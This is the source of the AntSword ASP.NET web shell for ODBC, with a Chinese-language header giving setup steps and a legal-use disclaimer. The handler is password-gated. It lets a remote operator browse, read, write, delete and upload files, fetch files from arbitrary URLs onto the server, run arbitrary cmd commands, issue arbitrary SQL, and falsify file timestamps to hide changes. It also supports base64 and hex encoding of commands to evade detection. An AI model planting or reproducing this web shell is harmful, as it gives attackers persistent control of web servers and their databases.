326 lines
13 KiB
Plaintext
326 lines
13 KiB
Plaintext
<%--
|
||
/**
|
||
* _ ____ _
|
||
* __ _ _ __ | |_/ ___|_ _____ _ __ __| |
|
||
* / _` | '_ \| __\___ \ \ /\ / / _ \| '__/ _` |
|
||
* | (_| | | | | |_ ___) \ V V / (_) | | | (_| |
|
||
* \__,_|_| |_|\__|____/ \_/\_/ \___/|_| \__,_|
|
||
* ———————————————————————————————————————————————
|
||
* AntSword ASP.Net Custom Script for ODBC
|
||
*
|
||
* 警告:
|
||
* 此脚本仅供合法的渗透测试以及爱好者参考学习
|
||
* 请勿用于非法用途,否则将追究其相关责任!
|
||
* ———————————————————————————————————————————————
|
||
*
|
||
* 使用说明:
|
||
* 1. AntSword >= v1.1-dev
|
||
* 2. 创建 Shell 时选择 custom 模式连接
|
||
* 3. 数据库连接使用 ODBC 连接字符串:
|
||
* 可以通过 ASPX 类型 Shell 查看部分连接字符串,具体参见 MSDN 官方文档:https://msdn.microsoft.com/zh-cn/library/system.data.odbc.odbcconnection.connectionstring(v=vs.80).aspx
|
||
* 例如:
|
||
* (1) MySQL
|
||
* Driver={MySql ODBC 5.2 Unicode Driver};Server=localhost;database=information_schema;UID=root;PWD=root;
|
||
* (2) SQLServer
|
||
* Driver={Sql Server};Server=(local);Database=master;Uid=sa;Pwd=sa;
|
||
*
|
||
* 4. 本脚本中 encoder 与 AntSword 添加 Shell 时选择的 encoder 要一致,如果选择 default 则需要将 encoder 值设置为空
|
||
*
|
||
* 5. 文件后缀可为 .aspx .ashx 只要是 ASP.Net 解析的文件后缀都是可以的。
|
||
*
|
||
* ChangeLog:
|
||
*
|
||
* Date: 2016/08/24 v1.0
|
||
* 1. 文件系统 和 terminal 管理
|
||
* 2. ODBC 数据库支持
|
||
* 3. 支持 base64 和 hex 编码
|
||
**/
|
||
--%>
|
||
<%@ WebHandler Language="C#" Class="Handler" %>
|
||
|
||
using System;
|
||
using System.Web;
|
||
using System.IO;
|
||
using System.Net;
|
||
using System.Text;
|
||
using System.Data;
|
||
using System.Data.SqlClient;
|
||
using System.Diagnostics;
|
||
|
||
public class Handler : IHttpHandler {
|
||
public String pwd = "ant";
|
||
public String cs = "UTF-8";
|
||
public String encoder = "";
|
||
public void ProcessRequest(HttpContext context){
|
||
String Z = context.Request.Form[pwd];
|
||
if (Z != "") {
|
||
String Z0 = decode(context.Request.Form["z0"]);
|
||
String Z1 = decode(context.Request.Form["z1"]);
|
||
String Z2 = decode(context.Request.Form["z2"]);
|
||
String Z3 = decode(context.Request.Form["z3"]);
|
||
String R = "";
|
||
try{
|
||
switch (Z) {
|
||
case "A": {
|
||
String[] c = Directory.GetLogicalDrives();
|
||
R = String.Format("{0}\t", context.Server.MapPath("/"));
|
||
for (int i = 0; i < c.Length; i++)
|
||
R += c[i][0] + ":";
|
||
break;
|
||
}
|
||
case "B": {
|
||
DirectoryInfo m = new DirectoryInfo(Z1);
|
||
foreach (DirectoryInfo D in m.GetDirectories()){
|
||
R += String.Format("{0}/\t{1}\t0\t-\n", D.Name, File.GetLastWriteTime(Z1 + D.Name).ToString("yyyy-MM-dd hh:mm:ss"));
|
||
}
|
||
foreach (FileInfo D in m.GetFiles()){
|
||
R += String.Format("{0}\t{1}\t{2}\t-\n", D.Name, File.GetLastWriteTime(Z1 + D.Name).ToString("yyyy-MM-dd hh:mm:ss"), D.Length);
|
||
}
|
||
break;
|
||
}
|
||
case "C": {
|
||
StreamReader m = new StreamReader(Z1, Encoding.GetEncoding(cs));
|
||
R = m.ReadToEnd();
|
||
m.Close();
|
||
break;
|
||
}
|
||
case "D": {
|
||
StreamWriter m = new StreamWriter(Z1, false, Encoding.GetEncoding(cs));
|
||
m.Write(Z2);
|
||
R = "1";
|
||
m.Close();
|
||
break;
|
||
}
|
||
case "E": {
|
||
if (Directory.Exists(Z1)){
|
||
Directory.Delete(Z1, true);
|
||
}else{
|
||
File.Delete(Z1);
|
||
}
|
||
R = "1";
|
||
break;
|
||
}
|
||
case "F": {
|
||
context.Response.Clear();
|
||
context.Response.Write("\x2D\x3E\x7C");
|
||
context.Response.WriteFile(Z1);
|
||
context.Response.Write("\x7C\x3C\x2D");
|
||
goto End;
|
||
}
|
||
case "U": {
|
||
String P = Z1;
|
||
byte [] B = new Byte[Z2.Length/2];
|
||
for(int i=0; i < Z2.Length; i+=2){
|
||
B[i / 2] = (byte)Convert.ToInt32(Z2.Substring(i, 2), 16);
|
||
}
|
||
FileStream fs = new FileStream(Z1, FileMode.Create);
|
||
fs.Write(B, 0, B.Length);
|
||
fs.Close();
|
||
R = "1";
|
||
break;
|
||
}
|
||
case "H": {
|
||
CP(Z1, Z2, context);
|
||
R = "1";
|
||
break;
|
||
}
|
||
case "I": {
|
||
if (Directory.Exists(Z1)){
|
||
Directory.Move(Z1, Z2);
|
||
}else{
|
||
File.Move(Z1, Z2);
|
||
}
|
||
R = "1";
|
||
break;
|
||
}
|
||
case "J": {
|
||
Directory.CreateDirectory(Z1);
|
||
R = "1";
|
||
break;
|
||
}
|
||
case "K": {
|
||
DateTime TM = Convert.ToDateTime(Z2);
|
||
if (Directory.Exists(Z1)){
|
||
Directory.SetCreationTime(Z1, TM);
|
||
Directory.SetLastWriteTime(Z1, TM);
|
||
Directory.SetLastAccessTime(Z1, TM);
|
||
}else{
|
||
File.SetCreationTime(Z1, TM);
|
||
File.SetLastWriteTime(Z1, TM);
|
||
File.SetLastAccessTime(Z1, TM);
|
||
}
|
||
R = "1";
|
||
break;
|
||
}
|
||
case "L": {
|
||
HttpWebRequest RQ = (HttpWebRequest)WebRequest.Create(new Uri(Z1));
|
||
RQ.Method = "GET";
|
||
RQ.ContentType = "application/x-www-form-urlencoded";
|
||
HttpWebResponse WB = (HttpWebResponse)RQ.GetResponse();
|
||
Stream WF = WB.GetResponseStream();
|
||
FileStream FS = new FileStream(Z2, FileMode.Create, FileAccess.Write);
|
||
int i;
|
||
byte[] buffer = new byte[1024];
|
||
while (true){
|
||
i = WF.Read(buffer, 0, buffer.Length);
|
||
if (i < 1){
|
||
break;
|
||
}
|
||
FS.Write(buffer, 0, i);
|
||
}
|
||
WF.Close();
|
||
WB.Close();
|
||
FS.Close();
|
||
R = "1";
|
||
break;
|
||
}
|
||
case "M": {
|
||
ProcessStartInfo c = new ProcessStartInfo(Z1);
|
||
Process e = new Process();
|
||
StreamReader OT, ER;
|
||
c.UseShellExecute = false;
|
||
c.RedirectStandardInput = true;
|
||
c.RedirectStandardOutput = true;
|
||
c.RedirectStandardError = true;
|
||
c.CreateNoWindow = true;
|
||
e.StartInfo = c;
|
||
c.Arguments = "/c " + Z2;
|
||
e.Start();
|
||
OT = e.StandardOutput;
|
||
ER = e.StandardError;
|
||
e.Close();
|
||
R = OT.ReadToEnd() + ER.ReadToEnd();
|
||
break;
|
||
}
|
||
case "N": {
|
||
System.Data.DataSet ds = new System.Data.DataSet();
|
||
String strCon = Z1;
|
||
string sql = "show databases";
|
||
using (System.Data.Odbc.OdbcDataAdapter dataAdapter = new System.Data.Odbc.OdbcDataAdapter(sql, strCon)){
|
||
dataAdapter.Fill(ds);
|
||
R = parseDataset(ds, "\t", "\t", false);
|
||
}
|
||
break;
|
||
}
|
||
case "O": {
|
||
String strCon = Z1, strDb = Z2;
|
||
System.Data.DataSet ds = new System.Data.DataSet();
|
||
string sql = "show tables from " + strDb;
|
||
using (System.Data.Odbc.OdbcDataAdapter dataAdapter = new System.Data.Odbc.OdbcDataAdapter(sql, strCon)){
|
||
dataAdapter.Fill(ds);
|
||
R = parseDataset(ds, "\t", "\t", false);
|
||
}
|
||
break;
|
||
}
|
||
case "P": {
|
||
String strCon = Z1, strDb = Z2, strTable = Z3;
|
||
System.Data.DataSet ds = new System.Data.DataSet();
|
||
string sql = "select * from "+strDb+"."+strTable+" limit 0,0";
|
||
using (System.Data.Odbc.OdbcDataAdapter dataAdapter = new System.Data.Odbc.OdbcDataAdapter(sql, strCon)){
|
||
dataAdapter.Fill(ds);
|
||
R = parseDataset(ds, "\t", "", true);
|
||
}
|
||
break;
|
||
}
|
||
case "Q":{
|
||
String strCon = Z1, sql = Z2;
|
||
System.Data.DataSet ds = new System.Data.DataSet();
|
||
using (System.Data.Odbc.OdbcDataAdapter dataAdapter = new System.Data.Odbc.OdbcDataAdapter(sql, strCon)){
|
||
dataAdapter.Fill(ds);
|
||
R = parseDataset(ds, "\t|\t", "\r\n", true);
|
||
}
|
||
break;
|
||
}
|
||
default: goto End;
|
||
}
|
||
}catch(Exception E){
|
||
R = "ERROR:// "+E.Message.ToString();
|
||
}
|
||
context.Response.Write("\x2D\x3E\x7C"+R+"\x7C\x3C\x2D");
|
||
End:;
|
||
}
|
||
}
|
||
|
||
public bool IsReusable{
|
||
get {
|
||
return false;
|
||
}
|
||
}
|
||
|
||
public void CP(String S,String D,HttpContext context){
|
||
if(Directory.Exists(S)){
|
||
DirectoryInfo m=new DirectoryInfo(S);
|
||
Directory.CreateDirectory(D);
|
||
foreach(FileInfo F in m.GetFiles()){
|
||
File.Copy(S+"\\"+F.Name,D+"\\"+F.Name);
|
||
}
|
||
foreach(DirectoryInfo F in m.GetDirectories()){
|
||
CP(S + "\\" + F.Name, D + "\\" + F.Name, context);
|
||
}
|
||
}else{
|
||
File.Copy(S,D);
|
||
}
|
||
}
|
||
public String HexAsciiConvert(String hex) {
|
||
StringBuilder sb = new StringBuilder();
|
||
int i;
|
||
for(i=0; i< hex.Length; i+=2){
|
||
sb.Append(System.Convert.ToString(System.Convert.ToChar(Int32.Parse(hex.Substring(i,2), System.Globalization.NumberStyles.HexNumber))));
|
||
}
|
||
return sb.ToString();
|
||
}
|
||
|
||
public String decode(String src){
|
||
String ret;
|
||
try{
|
||
|
||
switch (encoder) {
|
||
case "base64": {
|
||
ret = System.Text.Encoding.GetEncoding(cs).GetString(System.Convert.FromBase64String(src));
|
||
break;
|
||
}
|
||
case "hex": {
|
||
ret = HexAsciiConvert(src);
|
||
break;
|
||
}
|
||
default:{
|
||
ret = src;
|
||
break;
|
||
}
|
||
}
|
||
}catch(Exception E){
|
||
ret = src;
|
||
}
|
||
return ret;
|
||
}
|
||
|
||
public string parseDataset(DataSet ds, String columnsep, String rowsep, bool needcoluname){
|
||
if (ds == null || ds.Tables.Count <= 0){
|
||
return "Status" + columnsep + rowsep + "True" + columnsep + rowsep;
|
||
}
|
||
StringBuilder sb = new StringBuilder();
|
||
if(needcoluname){
|
||
for(int i = 0; i < ds.Tables[0].Columns.Count; i++){
|
||
sb.AppendFormat("{0}{1}",ds.Tables[0].Columns[i].ColumnName, columnsep);
|
||
}
|
||
sb.Append(rowsep);
|
||
}
|
||
foreach (DataTable dt in ds.Tables){
|
||
foreach (DataRow dr in dt.Rows){
|
||
for (int i = 0; i < dr.Table.Columns.Count; i++){
|
||
sb.AppendFormat("{0}{1}", ObjToStr(dr[i]), columnsep);
|
||
}
|
||
sb.Append(rowsep);
|
||
}
|
||
}
|
||
return sb.ToString();
|
||
}
|
||
|
||
public string ObjToStr(object ob){
|
||
if (ob == null){
|
||
return string.Empty;
|
||
}else
|
||
return ob.ToString();
|
||
}
|
||
|
||
} |